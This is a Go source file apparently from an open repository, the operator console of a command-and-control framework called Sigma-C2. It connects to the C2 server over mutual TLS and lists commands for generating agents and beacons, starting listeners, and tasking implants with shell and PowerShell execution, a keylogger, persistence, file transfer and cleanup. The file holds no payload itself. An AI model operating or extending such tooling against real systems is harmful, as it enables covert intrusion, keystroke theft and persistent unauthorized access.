Files
Sigma-C2/operator/operator.go
Pavlo Khazov b7225b92f1 Local file path checking in "upload" command.
Added navigation commands "cd", "ls", "dir", "pwd".
Now you can navigate to parent directory also via "cd ../" not only "cd .."
Adjusted README
Also, adjusting list of global and context commands for operator. Still cannot decide which one of global commands should be accessible from agent context.
2025-04-09 18:24:45 +02:00

542 lines
15 KiB
Go
Executable File

package main
import (
"crypto/tls"
"crypto/x509"
"flag"
"fmt"
"io"
"log"
"os"
"slices"
"strings"
"github.com/chzyer/readline"
)
// Default server address
var defaultServerAddr = "127.0.0.1:8080"
// Path to certificates
var clientCertPath = "../certificates/client.crt"
var clientKeyPath = "../certificates/client.key"
var caCertPath = "../certificates/ca.crt"
// Available commands fpr tab completion in main context
var availableClobalCommands = []struct {
command string
subcommands map[string][]string
}{
{"agents", nil},
{"show", map[string][]string{
"agent": {""}, // Updated dynamically
"tasks": {""}, // Updated dynamically
"listeners": nil,
"modules": nil,
}},
{"clear", map[string][]string{
"tasks": {""}, // Updated dynamically
}},
{"listen", map[string][]string{
"-t": {"ssl", "tcp", "dns"},
"--transport": {"ssl", "tcp", "dns"},
"-h": {""},
"--host": {""},
"-p": {""},
"--port": {""},
"-n": {""},
"--name": {""},
}},
{"stop", map[string][]string{
"listener": {""}, // Updated dynamically
}},
{"generate", map[string][]string{
"agent": {""}, // Updated dynamically
"beacon": {""}, // Updated dynamically
}},
{"interact", map[string][]string{
"": {""}, // Updated dynamically
}},
{"exit", nil},
}
// Available commands fpr tab completion in agent context
var availableContextCommands = []struct {
command string
subcommands map[string][]string
}{
{"agents", nil},
{"show", map[string][]string{
"agent": {""}, // Updated dynamically
"tasks": {""}, // Updated dynamically
"listeners": nil,
"modules": nil,
}},
{"clear", map[string][]string{
"tasks": {""}, // Updated dynamically
}},
{"sleep", map[string][]string{"": {""}}},
{"cmd", map[string][]string{"": {""}}},
{"powershell", map[string][]string{"": {""}}},
{"run", map[string][]string{"": {""}}},
{"sysinfo", map[string][]string{"": {""}}},
{"files", map[string][]string{"": {""}}},
{"artifacts", map[string][]string{"": {""}}},
{"cd", map[string][]string{"": {""}}},
{"ls", map[string][]string{"": {""}}},
{"pwd", map[string][]string{"": {""}}},
{"dir", map[string][]string{"": {""}}},
{"keylogger", map[string][]string{
"start": {""},
"stop": {""},
}},
{"persistence", map[string][]string{
"add": {""},
"remove": {""},
}},
{"download", map[string][]string{"": {""}}},
{"upload", map[string][]string{"": {""}}},
{"kill", map[string][]string{"": {""}}},
{"cleanup", map[string][]string{"": {""}}},
}
var contextCommands = []string{
"sleep", "cmd", "powershell", "run", "sysinfo", "files", "keylogger",
"persistence", "download", "upload", "artifacts", "kill", "cleanup",
"exit", "cd", "ls", "pwd", "dir",
}
// To store list of agents for tab completion
var agents []string
// Empty when in main context
var currentAgentContext string
// Update available listener names for "generate agent" and "generate beacon" and for "stop listeners"
func UpdateListenersSubCommands(listeners []string) {
for i := range availableClobalCommands {
switch availableClobalCommands[i].command {
case "generate":
availableClobalCommands[i].subcommands["agent"] = listeners
availableClobalCommands[i].subcommands["beacon"] = listeners
case "stop":
availableClobalCommands[i].subcommands["listener"] = listeners
}
}
}
// Update available commands to auto-complete agent names
func UpdateAgentsSubCommands(agentList []string) {
agents = agentList
for i := range availableClobalCommands {
switch availableClobalCommands[i].command {
case "show":
availableClobalCommands[i].subcommands["agent"] = agentList
availableClobalCommands[i].subcommands["tasks"] = agentList
case "clear":
availableClobalCommands[i].subcommands["tasks"] = agentList
case "interact":
availableClobalCommands[i].subcommands[""] = agentList
}
}
}
// Build tab completer
func getCompleter() *readline.PrefixCompleter {
var items []readline.PrefixCompleterInterface
if currentAgentContext != "" {
// Agent context: include context commands, exit, and interact
for _, cmd := range availableContextCommands {
if cmd.subcommands != nil {
var subItems []readline.PrefixCompleterInterface
for sub, subsub := range cmd.subcommands {
if sub == "" {
for _, s := range subsub {
subItems = append(subItems, readline.PcItem(s))
}
} else {
nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
for i, subsubCmd := range subsub {
nestedItems[i] = readline.PcItem(subsubCmd)
}
subItems = append(subItems, readline.PcItem(sub, nestedItems...))
}
}
items = append(items, readline.PcItem(cmd.command, subItems...))
} else {
items = append(items, readline.PcItem(cmd.command))
}
}
// Add exit and interact explicitly
items = append(items, readline.PcItem("exit"))
var interactSubItems []readline.PrefixCompleterInterface
for _, agent := range agents {
interactSubItems = append(interactSubItems, readline.PcItem(agent))
}
items = append(items, readline.PcItem("interact", interactSubItems...))
} else {
// Main context: include global commands and agent IDs with context commands
// Add global commands
for _, cmd := range availableClobalCommands {
if cmd.subcommands != nil {
var subItems []readline.PrefixCompleterInterface
for sub, subsub := range cmd.subcommands {
if sub == "" {
for _, s := range subsub {
subItems = append(subItems, readline.PcItem(s))
}
} else {
nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
for i, subsubCmd := range subsub {
nestedItems[i] = readline.PcItem(subsubCmd)
}
subItems = append(subItems, readline.PcItem(sub, nestedItems...))
}
}
items = append(items, readline.PcItem(cmd.command, subItems...))
} else {
items = append(items, readline.PcItem(cmd.command))
}
}
// Add agent IDs with context commands as subcommands
for _, agent := range agents {
var agentSubItems []readline.PrefixCompleterInterface
for _, cmd := range availableContextCommands {
if cmd.subcommands != nil {
var subItems []readline.PrefixCompleterInterface
for sub, subsub := range cmd.subcommands {
if sub == "" {
for _, s := range subsub {
subItems = append(subItems, readline.PcItem(s))
}
} else {
nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
for i, subsubCmd := range subsub {
nestedItems[i] = readline.PcItem(subsubCmd)
}
subItems = append(subItems, readline.PcItem(sub, nestedItems...))
}
}
agentSubItems = append(agentSubItems, readline.PcItem(cmd.command, subItems...))
} else {
agentSubItems = append(agentSubItems, readline.PcItem(cmd.command))
}
}
items = append(items, readline.PcItem(agent, agentSubItems...))
}
}
return readline.NewPrefixCompleter(items...)
}
// Prepares the TLS configuration for secure connection
func setupTLSConfig() (*tls.Config, error) {
// Load CA certificate
caCert, err := os.ReadFile(caCertPath)
if err != nil {
return nil, fmt.Errorf("failed to read CA certificate: %v", err)
}
caCertPool := x509.NewCertPool()
if !caCertPool.AppendCertsFromPEM(caCert) {
return nil, fmt.Errorf("failed to append CA certificate to pool")
}
// Load client certificate and key
clientCert, err := tls.LoadX509KeyPair(clientCertPath, clientKeyPath)
if err != nil {
return nil, fmt.Errorf("failed to load client certificate and key: %v", err)
}
// Configure TLS
return &tls.Config{
Certificates: []tls.Certificate{clientCert},
RootCAs: caCertPool,
InsecureSkipVerify: false, // Ensure server's certificate is validated
}, nil
}
// Establishes a secure connection to the server
func connectToServer(serverAddr string, tlsConfig *tls.Config) (*tls.Conn, error) {
conn, err := tls.Dial("tcp", serverAddr, tlsConfig)
if err != nil {
return nil, fmt.Errorf("error connecting to server: %v", err)
}
fmt.Println("Connected to server")
return conn, nil
}
// Pretty simple authentication of user with the server
func authenticateUser(conn *tls.Conn, userID, password string) error {
fmt.Println("Starting authentication")
// Send authentication message
authMessage := fmt.Sprintf("AUTH:%s:%s", userID, password)
_, err := conn.Write([]byte(authMessage))
if err != nil {
return fmt.Errorf("error sending credentials: %v", err)
}
// Receive server response
buffer := make([]byte, 4096)
n, err := conn.Read(buffer)
if err != nil {
return fmt.Errorf("error reading from server: %v", err)
}
response := string(buffer[:n])
if response == "AUTH_OK" {
fmt.Println("Auth successful. You can now issue commands.")
return nil
}
return fmt.Errorf("authentication failed")
}
// Configure readline interface
func setupReadline() (*readline.Instance, error) {
rlConfig := &readline.Config{
Prompt: "\033[31mSigma >\033[0m ", // Colored prompt
HistoryFile: "/tmp/operator_history.txt",
AutoComplete: getCompleter(),
InterruptPrompt: "^C",
DisableAutoSaveHistory: false,
HistorySearchFold: true,
UniqueEditLine: true,
}
rl, err := readline.NewEx(rlConfig)
if err != nil {
return nil, fmt.Errorf("error initializing readline: %v", err)
}
rl.SetVimMode(false)
return rl, nil
}
// Goroutine to listen for server messages
func startServerListener(conn *tls.Conn, rl *readline.Instance, exitChan chan struct{}) {
go func() {
for {
serverMsg := make([]byte, 4096)
n, err := conn.Read(serverMsg)
if err != nil {
fmt.Println("Connection to server lost:", err)
close(exitChan)
return
}
// Parse the server message
message := string(serverMsg[:n])
handleServerMessage(message, rl)
}
}()
}
// Processes messages received from the server
func handleServerMessage(message string, rl *readline.Instance) {
// Tab-completion update with listeners
if strings.HasPrefix(message, "LISTENERS_UPDATE:") {
// Extract the listener names from the message
listeners := strings.Split(strings.TrimPrefix(message, "LISTENERS_UPDATE:"), ",")
// Update subcommands
UpdateListenersSubCommands(listeners)
// Rebuild the tab completion
rl.Config.AutoComplete = getCompleter()
rl.Refresh()
// Tab-completion update with new agents
} else if strings.HasPrefix(message, "AGENTS_UPDATE:") {
// Extract the agent names from the message
agents = strings.Split(strings.TrimPrefix(message, "AGENTS_UPDATE:"), ",")
// Update subcommands
UpdateAgentsSubCommands(agents)
// Rebuild the tab completion
rl.Config.AutoComplete = getCompleter()
rl.Refresh()
// Handle usual messages
} else {
fmt.Print("\r\033[K") // Clears the line and the prompt
fmt.Println("\n" + message)
rl.Refresh() // Refresh readline input
}
}
// Handles operator commands and context switching
func processCommand(command string, conn *tls.Conn, rl *readline.Instance) bool {
if command == "" {
return false
}
// Handle exit command
if command == "exit" {
if currentAgentContext != "" {
// Exit from agent context
currentAgentContext = ""
rl.SetPrompt("\033[31mSigma >\033[0m ")
// Update tab completion after context change
rl.Config.AutoComplete = getCompleter()
return false
} else {
// Exit from application
fmt.Println("Exiting...")
conn.Write([]byte(command))
return true
}
}
// Handle interact command
if strings.HasPrefix(command, "interact") {
handleInteractCommand(command, rl)
return false
}
// Handle command in agent context
if currentAgentContext != "" && isControlCommand(command) {
command = currentAgentContext + " " + command
}
// Send command to server
_, err := conn.Write([]byte(command))
if err != nil {
fmt.Printf("Error sending command: %v", err)
return true
}
return false
}
// Check if command is a task for agent
func isControlCommand(command string) bool {
// Split the command into words
parts := strings.Fields(command)
if len(parts) == 0 {
fmt.Println("Empty command :(")
return false
}
// Check if the first word is a context command
if slices.Contains(contextCommands, parts[0]) {
return true
} else {
return false
}
}
// Processes the interact command for agent context switching
func handleInteractCommand(command string, rl *readline.Instance) {
cmd := strings.Fields(command)
if len(cmd) != 2 {
fmt.Println("Usage: interact <agent_id>")
return
}
if !slices.Contains(agents, cmd[1]) {
fmt.Println("Agent not found!")
return
}
// Set new agent context
currentAgentContext = cmd[1]
// Update tab completion
rl.Config.AutoComplete = getCompleter()
// Update prompt with agent context
newPrompt := fmt.Sprintf("\033[31mSigma [%s] >\033[0m ", currentAgentContext)
rl.SetPrompt(newPrompt)
}
// Executes the main command processing loop
func runCommandLoop(conn *tls.Conn, rl *readline.Instance, exitChan chan struct{}) {
for {
select {
case <-exitChan:
fmt.Println("Exiting due to lost connection.")
return
default:
line, err := rl.Readline()
if err != nil {
if err == readline.ErrInterrupt {
if len(line) == 0 {
fmt.Println("\nExiting...")
return
}
continue
} else if err == io.EOF {
fmt.Println("\nExiting...")
return
}
fmt.Printf("Error reading line: %v", err)
continue
}
command := strings.TrimSpace(line)
shouldExit := processCommand(command, conn, rl)
if shouldExit {
return
}
}
}
}
func main() {
// Define flags for username, password and address of server
operatorPassword := flag.String("p", "", "Password")
operatorID := flag.String("u", "", "Username")
serverAddr := flag.String("ip", defaultServerAddr, "IP and port of server")
flag.Parse()
// Check if password and username are provided
if *operatorPassword == "" || *operatorID == "" {
fmt.Println("Usage: client.exe -u <username> -p <password> -ip <ip:port>")
return
}
fmt.Println("Client's username and password provided")
// Setup TLS
tlsConfig, err := setupTLSConfig()
if err != nil {
log.Fatalf("TLS setup failed: %v", err)
}
// Connect to server
conn, err := connectToServer(*serverAddr, tlsConfig)
if err != nil {
log.Fatalf("Server connection failed: %v", err)
}
defer conn.Close()
// Authenticate
err = authenticateUser(conn, *operatorID, *operatorPassword)
if err != nil {
log.Fatalf("Authentication failed: %v", err)
}
// Setup readline
rl, err := setupReadline()
if err != nil {
log.Fatalf("Readline setup failed: %v", err)
}
defer rl.Close()
// Create exit channel
exitChan := make(chan struct{})
// Start server message listener
startServerListener(conn, rl, exitChan)
// Run main command loop
runCommandLoop(conn, rl, exitChan)
}